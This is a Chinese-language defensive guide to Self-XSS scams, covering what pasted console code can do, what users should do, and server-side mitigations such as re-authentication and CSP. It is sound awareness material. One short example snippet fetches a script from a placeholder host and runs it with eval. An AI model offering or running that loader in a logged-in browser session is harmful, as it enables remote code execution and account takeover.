Self-XSS 的程式碼通常不是網站自動執行，而是詐騙者說服使用者自行貼進開發者工具。常見話術包括「領取免費功能」「查看誰瀏覽你」「解除限制」或「把這段貼到 Console 完成驗證」。一旦執行，程式碼會在已登入頁面的權限下運作。
理解主控台程式碼能取得的權限
在網站頁面開啟 Console 後執行的 JavaScript，通常能讀取 DOM、呼叫同源 API、變更帳號設定，並使用瀏覽器自動帶上的 Cookie。即使 Cookie 設為 HttpOnly，惡意程式仍可發送已授權請求。
它也可能把畫面中的 CSRF Token、個人資料、聊天內容或一次性驗證結果傳到外部。
不要用「看得懂」判斷陌生程式是否安全
短短一行可以載入遠端程式，混淆碼也能在執行時解密。以下形式都應視為高風險：
fetch('https://unknown.example/payload.js')
.then(r => r.text())
.then(code => eval(code));
// 或任何要求你貼上後按 Enter 的陌生字串不要為了分析而在自己的正式帳號執行。需要檢查時，交由隔離測試環境與具授權的專業人員處理。
使用者遇到指示時直接中止
- 不要貼上、不要執行，也不要把程式轉傳給朋友測試。
- 關閉該分頁，從官方入口重新登入。
- 回報貼文、帳號或訊息，保留截圖與網址。
- 若已執行，立即撤銷所有工作階段並檢查帳號設定。
- 從可信裝置更換密碼、2FA 與備援碼。
網站端在高風險介面加入明確警示
社群、遊戲、加密資產與管理後台可在說明中心、客服話術與登入通知中明確聲明：官方不會要求使用者開啟開發者工具或貼上程式碼。
警示應放在可能被利用的流程附近，並提供官方回報入口；只在隱私政策深處寫一句，幾乎沒有防護效果。
後端仍要限制即使同源請求也不能任意操作
Self-XSS 會繞過許多前端限制，因此敏感操作要有重新驗證、短效權限與伺服器端授權。新增付款方式、匯出資料、建立 API 金鑰、變更復原信箱等操作，可要求重新輸入密碼或使用通行金鑰確認。
速率限制、異常行為偵測與一鍵撤銷工作階段能降低已執行程式的影響。
CSP 能降低外部載入，但不能完全阻止 Self-XSS
嚴格 CSP 可以阻擋部分遠端腳本、eval 與資料外傳目的地，但攻擊者仍可能只使用頁面現有 API 完成操作。不要把 CSP 當成使用者自行執行程式後的完整防線。
最有效的控制：清楚教育、敏感操作重新驗證、最小權限、工作階段撤銷與異常操作告警必須一起部署。
網站端復原
若偵測到異常 API 操作，應撤銷工作階段、通知使用者檢查帳號設定，並保留請求 ID 供事件調查，而不是只顯示一般錯誤訊息。